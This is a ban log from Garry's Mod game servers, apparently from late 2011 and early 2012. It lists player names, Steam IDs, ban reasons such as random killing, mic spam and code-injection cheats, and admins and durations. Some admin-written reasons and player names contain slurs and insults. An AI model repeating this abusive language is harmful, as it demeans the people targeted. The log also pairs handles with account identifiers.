0:0:20 Unbanned +4:12 pm 05-01-12 xCriminalPlayerx (Hunter) STEAM_0:0:40596784 fag ++[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +3:56 pm 05-01-12 á??(ಥç??ಥ)á??SerdarCiraK STEAM_0:1:44790752 +rdming +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +10:56 pm 04-01-12 Unknown STEAM_0:1:17212947 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:15 pm 04-01-12 Ballbo baggins STEAM_0:1:9686068 Fuck off +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +10:14 pm 04-01-12 Awesome Sauce STEAM_0:1:27116960 RDM Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:14 pm 04-01-12 HamCake STEAM_0:1:20445939 RDM Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:30 pm 04-01-12 Brian Stwart STEAM_0:1:30384245 Mass RDM + mic +spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:20:40 Unbanned +8:22 pm 04-01-12 Unknown STEAM_0:1:20031317 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:52 pm 04-01-12 Fox93 STEAM_0:0:32863847 prop kill then later map +fucking +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun 0:0:10 +Unbanned +7:28 pm 04-01-12 Megatron STEAM_0:1:17126400 prop killing! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Deathrun 6:20:40 Unbanned +6:16 pm 04-01-12 darkball1 STEAM_0:0:15620064 Alt of banned ID +STEAM_0:0:31835424 (Console) Fretta|Tigergruppe Kommand Deathrun +0:23:47 Unbanned +6:03 pm 04-01-12 waterbolt STEAM_0:0:31835424 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:19 pm 03-01-12 Lambent Cookie STEAM_0:1:47724049 teamkill + will +not shut the hell up +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:3:0 Unbanned +9:10 pm 03-01-12 Unknown STEAM_0:1:37704279 Mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +9:08 pm 03-01-12 Facerape ! STEAM_0:1:24418752 rdm mic spam troll and +was warned too many times +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 6:21:0 Unbanned +3:57 pm 03-01-12 Unknown STEAM_0:0:32966149 Deleting base during +war Nekoace Official Zombified World|Lvl Cap +10 Zombified World +0:16:40 Unbanned +3:28 pm 03-01-12 Unknown STEAM_0:0:42207707 Claiming to get me +banned Nekoace Official Zombified World|Lvl Cap +10 Zombified World +0:1:40 Unbanned +2:48 am 03-01-12 >AOG< Mr.Daniel STEAM_0:1:29206644 rdm nub +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:32 pm 02-01-12 Unknown STEAM_0:0:31756592 Coon (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:35 pm 02-01-12 Brian Stwart STEAM_0:1:30384245 KARMA! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:21 pm 02-01-12 Unknown STEAM_0:1:42860788 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:09 pm 02-01-12 Unknown STEAM_0:1:42860788 rdm then left : D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:03 pm 02-01-12 ben STEAM_0:0:43915288 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:09 pm 02-01-12 rickytheman STEAM_0:1:33420817 Faction Exploiting +multiple times. Nemesis Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +6:02 pm 02-01-12 [TT] Ouuue c'est moi l'hiboue STEAM_0:1:14282857 +Faction Exploiting - Learn the rules Nemesis Official Zombified +World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +3:14 pm 02-01-12 ovz STEAM_0:1:41375033 mass rdm +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:58 pm 02-01-12 Unknown STEAM_0:0:47772765 Cheat: injection (From +C) (Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:36006702 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:44098755 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:45424776 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:37641228 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:40152334 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:41799917 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:22010562 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:24822120 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:0:10713231 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:57 pm 02-01-12 Unknown STEAM_0:1:36131576 Cheat: zbot (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +2:01 pm 02-01-12 Gandalf STEAM_0:0:9908484 +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 416:16:11 Banned +1:13 pm 02-01-12 Xapyto Y3ymaki STEAM_0:0:40703324 +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +4:14 am 02-01-12 Unknown STEAM_0:0:44013956 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:35 am 02-01-12 Unknown STEAM_0:1:21039301 Ban Request (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +12:35 am 02-01-12 Unknown STEAM_0:1:32973101 Ban Request (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +12:00 am 02-01-12 SoureCrap STEAM_0:0:30096414 Propkilling +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:59 pm 01-01-12 :D lol :D STEAM_0:1:32425210 Propkilling - fuck +off Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:16 pm 01-01-12 Unknown STEAM_0:0:27644179 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:00 am 01-01-12 wafflemonger123 STEAM_0:1:47936747 Alt of banned ID +STEAM_0:0:40228027 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:4:46 Unbanned +6:47 am 01-01-12 vookod STEAM_0:0:40228027 RDM and completely +ignoring admin with several warnings. +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +4:13 am 01-01-12 Ukmercenary1996 STEAM_0:0:32905074 Ignoring admin +and all warnings, constant micspam. +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +1:18 am 01-01-12 Unknown STEAM_0:0:19232401 Trader blocking, ignoring +admin, discon. white under attack. +[SP]+ Marked One [SK] Official +Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +9:56 pm 31-12-11 Unknown STEAM_0:1:29033036 RDM disconnect [ +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:20 am 31-12-11 [Epicx] Nudel* STEAM_0:1:36327141 Alt of banned ID +STEAM_0:1:39921496 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:20:9 Unbanned +12:59 am 31-12-11 Waterfiend [previously atv101] STEAM_0:0:25014603 +Mic Spam Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +12:49 am 31-12-11 Unknown STEAM_0:1:42176271 RDM Detective and +Left. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:14:0 Unbanned +12:17 am 31-12-11 Cuddly Rabbit <3 STEAM_0:0:30497374 Blocking +Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 +Unbanned +11:30 pm 30-12-11 [Epicx] crank STEAM_0:1:39921496 MICSPAM +[SP]+ +EDDIE STONE (incognito) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +10:45 pm 30-12-11 Happy New Year STEAM_0:1:22172556 RDM +[SP]+ EDDIE +STONE (incognito) Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +6:56 pm 30-12-11 Epic Legion STEAM_0:0:30194937 Revenge RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +6:55 pm 30-12-11 Da Ninja Panda STEAM_0:1:40278895 Revenge RDM ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +1:37 pm 30-12-11 Unknown STEAM_0:0:30812563 +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:07 pm 29-12-11 Gino Pietermaai- TERUG STEAM_0:0:46563870 Alt of +banned ID STEAM_0:1:34494278 (Console) Fretta|Tigergruppe Kommand +Deathrun Permanent Banned +5:58 pm 29-12-11 Cody STEAM_0:1:17183086 random crowbarring +[SP]+ +EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +5:46 pm 29-12-11 aggett-2-6-7-ttegga STEAM_0:1:37401151 MASS RDM ++[SP]+ EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +3:38 pm 29-12-11 THE RANDOM GUY STEAM_0:1:9089059 Alt of banned ID +STEAM_0:0:12119174 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 20:5:5 Unbanned +12:10 pm 29-12-11 Kampf-Fussel STEAM_0:1:10988764 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 Unbanned +6:04 am 29-12-11 Dark Jin STEAM_0:1:42176271 RDM. Goobye +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +5:59 am 29-12-11 Unknown STEAM_0:1:19696111 RDM. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:15 Unbanned +9:44 pm 28-12-11 zxluc STEAM_0:1:44706585 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:16 pm 28-12-11 Unknown STEAM_0:0:33418440 Calling me a fag/bitching +at me after being banned; ban extended. +[SP]+ ULTRA Official +Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +9:12 pm 28-12-11 Spadedλces STEAM_0:0:33418440 Teaching you what +your mom never raised you to do: Being honest CRITTLESTICKS Official +Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +9:12 pm 28-12-11 O° STEAM_0:0:12119174 Propkilling then lying like a +bitch CRITTLESTICKS Official Zombified World|Lvl Cap +10 Zombified +World 20:23:32 Unbanned +7:46 pm 28-12-11 link boy STEAM_0:0:26501088 Alt of banned ID +STEAM_0:1:20075624 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:21:10 Unbanned +7:10 pm 28-12-11 robogirl STEAM_0:0:37972008 Come back tomorrow ++[SP]+ EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:56 pm 28-12-11 Mini Lord STEAM_0:1:20075624 RDMING DETECTIVE AND +ADMIN +[SP]+ EDDIE STONE (no keyboard Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +9:08 pm 27-12-11 braders0508 STEAM_0:0:46898168 Excessive RDM - Now +piss off. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +8:53 pm 27-12-11 Unknown STEAM_0:1:36261246 RDM and Left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:11 pm 27-12-11 Worldspawn STEAM_0:0:40609338 RDM - Happy New Year ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +5:0:0 Unbanned +7:39 pm 27-12-11 [CG] Bluff STEAM_0:1:33749817 RDMing as Detective +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:05 pm 27-12-11 Unknown STEAM_0:1:22772100 Cheat: whtogg +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:04 pm 27-12-11 Unknown STEAM_0:1:11650863 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:16319183 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:40161943 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:26053222 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:1:16230103 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:33891807 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:16350495 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:31925018 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:20703502 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:28307108 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:40143824 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:1:31811639 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:25160443 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:1:26118232 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:03 pm 27-12-11 Unknown STEAM_0:0:36232848 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:00 pm 27-12-11 Unknown STEAM_0:1:9940783 RDM constantly. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Deathrun 3:0:0 Unbanned +12:09 pm 27-12-11 Unknown STEAM_0:1:19147578 Multiple RDMs both as +innocent and detective. +[SP]+ ULTRA Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:0:0 Unbanned +6:43 pm 26-12-11 ︻è?«â??ä¸?PRO $$$$$$$$ VOVA STEAM_0:0:30205118 +RDM Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:48 pm 26-12-11 mr waffleburger STEAM_0:0:35333273 Detective RDM +detective. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:08 am 26-12-11 lolsama STEAM_0:1:12306664 RDM + cocksuck +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:08 am 26-12-11 Commado Queer STEAM_0:1:37819177 RDM + cocksuck ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +12:58 am 26-12-11 F/U=MAN STEAM_0:0:8002216 KARMA! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:24 am 25-12-11 speuda STEAM_0:0:25701342 Prop killing +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +10:57 am 25-12-11 Unknown STEAM_0:1:29914427 Was permabanned +before. +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +7:45 pm 24-12-11 Unknown STEAM_0:0:39731791 rdm and left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:23:0 +Unbanned +4:47 pm 24-12-11 Unknown STEAM_0:1:2498134 RDM then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +4:46 pm 24-12-11 [LdD][TT]celtix21(lucas) STEAM_0:1:21039301 +Prop-Push/Kill - Ban Request. Merry Christmas.+ +[SP]+ Nemesis +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +4:46 pm 24-12-11 anthonyr62 STEAM_0:1:32973101 Prop-Push/Kill - Ban +Request. Merry Christmas. +[SP]+ Nemesis Official Zombified World|Lvl +Cap +10 Zombified World 7:0:0 Unbanned +4:19 pm 24-12-11 Unknown STEAM_0:0:26877474 rdm then left +karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:1:0 Unbanned +4:06 pm 24-12-11 aleksander STEAM_0:0:42915922 KARMA! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:4:20 +Unbanned +8:07 pm 23-12-11 Your mother! STEAM_0:0:18659740 Whining about false +RDM, RDMing an admin and propkilling +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +11:39 pm 22-12-11 LockeryRung STEAM_0:1:22671553 Alt of banned ID +STEAM_0:0:10780294 (Console) Fretta|Tigergruppe Kommand Deathrun +0:22:52 Unbanned +10:31 pm 22-12-11 Ty STEAM_0:0:10780294 Teamkilling Traitors - Merry +Christmas +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +10:22 pm 22-12-11 ShiftyWill STEAM_0:1:29501701 Teamkilling Traitors +- Merry Christmas. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:14:0 Unbanned +5:35 pm 22-12-11 Unknown STEAM_0:1:16953455 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +4:23 pm 22-12-11 Deathknightrofl STEAM_0:0:21535588 Not welcome +here Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +372:0:0 Banned +9:18 pm 21-12-11 G.B. Hindert STEAM_0:0:17086047 prop push, rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:02 pm 21-12-11 Unknown STEAM_0:1:42934133 RDM+disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +9:45 pm 20-12-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 Stop +spamming RDM in chat. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:10 Unbanned +8:49 pm 20-12-11 zxluc STEAM_0:1:44706585 RDM, Lame excuse. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:10 pm 19-12-11 FaceRape<3 STEAM_0:1:24418752 Ghosting/RDM. +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +4:42 pm 19-12-11 Memhislegion95 STEAM_0:1:14273655 RDMing as the D +with some other tit +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:1:0 Unbanned +4:41 pm 19-12-11 FallenAssassin STEAM_0:0:37318414 RDM's +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +2:37 am 19-12-11 F/U=MAN STEAM_0:0:8002216 RDM and total disrespect +of the rules. Fuck off. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 5:0:0 Unbanned +2:31 am 19-12-11 Unknown STEAM_0:1:40176308 RDMing AFK ' s then +leaving. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:0:0 Unbanned +12:43 am 19-12-11 M1K3 STEAM_0:0:26308023 Alt of banned ID +STEAM_0:1:26250283 (Console) Fretta|Tigergruppe Kommand Gamemaster +Permanent Banned +10:02 pm 18-12-11 Unknown STEAM_0:1:33966628 RDM as detective then +left Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +9:54 pm 18-12-11 curriehawk STEAM_0:0:38843145 I revive you and this +is the thanks? RDMing Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:6:40 Unbanned +8:54 pm 18-12-11 Unknown STEAM_0:1:26949104 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:0:28307108 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:0:43159831 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:0:24199196 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:1:26188522 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 18-12-11 Unknown STEAM_0:1:20280169 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:27 pm 18-12-11 [GR] CHURCH LIKE A BOSS [GR] STEAM_0:1:15949343 +RDMing as detective Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:4:0 Unbanned +3:31 pm 18-12-11 milkftw STEAM_0:1:23776488 Alt of banned ID +STEAM_0:1:30107073 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +3:13 pm 18-12-11 Unknown STEAM_0:0:40276886 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +2:23 pm 18-12-11 [O_xmp]demon567 rus STEAM_0:1:14410571 teamkiller +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +10:13 am 18-12-11 Unknown STEAM_0:1:13950175 RDM+leave +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +10:11 am 18-12-11 Unknown STEAM_0:1:2538660 RDM+leave and mic spam ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +1:55 am 18-12-11 Soda51 STEAM_0:1:34036529 failed the test MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:38 pm 17-12-11 FaceRape<3 STEAM_0:1:24418752 Didn't i already ban +you? Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +8:22 pm 17-12-11 rtsgamer55 STEAM_0:0:26016504 RDM Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +5:23 pm 17-12-11 macd1102 STEAM_0:1:32218025 Alt of banned ID +STEAM_0:1:5066699 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:52 pm 17-12-11 SxC Blood STEAM_0:0:47018170 Alt of banned ID +STEAM_0:1:14496711 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:46 pm 17-12-11 Unknown STEAM_0:1:24418752 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +0:3:20 Unbanned +2:46 pm 17-12-11 Unknown STEAM_0:0:39362192 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +0:3:20 Unbanned +2:43 pm 17-12-11 Unknown STEAM_0:0:31756592 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +2:22:0 Unbanned +2:43 pm 17-12-11 Unknown STEAM_0:1:21564844 Ban Request / RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +2:22:0 Unbanned +1:15 am 17-12-11 *|Pirate|* Justin Bieber Chick STEAM_0:0:25155785 +no ColdFusion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:12 Unbanned +6:37 pm 16-12-11 Unknown STEAM_0:0:38574114 Ban Request/RDM +(Console) Official Zombified World|Lvl Cap +10 Zombified World +1:12:40 Unbanned +8:48 pm 15-12-11 Unknown STEAM_0:0:43064487 RDM then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:11 pm 15-12-11 Legit Ù?Ù?Ù?Ù?Ù?Ù?Ù? STEAM_0:1:19147578 no, fuck +off +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 9:17:20 Unbanned +9:16 pm 14-12-11 AbE kAtTeN (dk) à¹?Û£Û?Oà¹?Û£Û? STEAM_0:0:41248773 +teamkill +mic spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:18:40 Unbanned +11:40 pm 13-12-11 Rainbow Dash STEAM_0:0:29884917 ( TEAM ) Rainbow +Dash : dob i think your a bad influence on your mother +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +10:05 pm 13-12-11 Unknown STEAM_0:1:30430177 Multiple accounts of +RDM. Flaming other users and DDoS threats. (Console) Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +9:53 pm 13-12-11 Skywind STEAM_0:1:38929118 mass RDM + this is 2 +ban +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 15:23:20 Unbanned +9:20 pm 13-12-11 carpentert007 STEAM_0:0:41802061 Alt of banned ID +STEAM_0:1:32161436 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +8:59 pm 13-12-11 Unknown STEAM_0:1:30430177 Ban request and was +warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 14:0:0 Unbanned +9:26 pm 12-12-11 Unknown STEAM_0:0:34731259 Multiple rules broken , +was warned many times +[SP]+ Anime Official Zombified World|Lvl Cap ++10 Zombified World 6:22:40 Unbanned +8:09 pm 12-12-11 Cobbor STEAM_0:1:45129586 You were warned, Mic spam ++ rdm +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:10:0 Unbanned +10:47 pm 11-12-11 Rainbow Dash STEAM_0:0:29884917 Rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +10:31 pm 11-12-11 Xtrento STEAM_0:0:36387946 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 23:20:13 Unbanned +9:18 pm 11-12-11 kevinexplenda23 STEAM_0:0:25277254 Spam - Twat ++[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:36 pm 11-12-11 Skywind STEAM_0:1:38929118 rdm THEN Ignore admin ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:4:20 Unbanned +7:29 pm 11-12-11 Unknown STEAM_0:0:34505750 Rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 +Unbanned +4:53 pm 11-12-11 macd1102 STEAM_0:1:5066699 Alt of banned ID +STEAM_0:1:32218025 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:38 pm 11-12-11 Unknown STEAM_0:0:34731259 Left while under attack ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 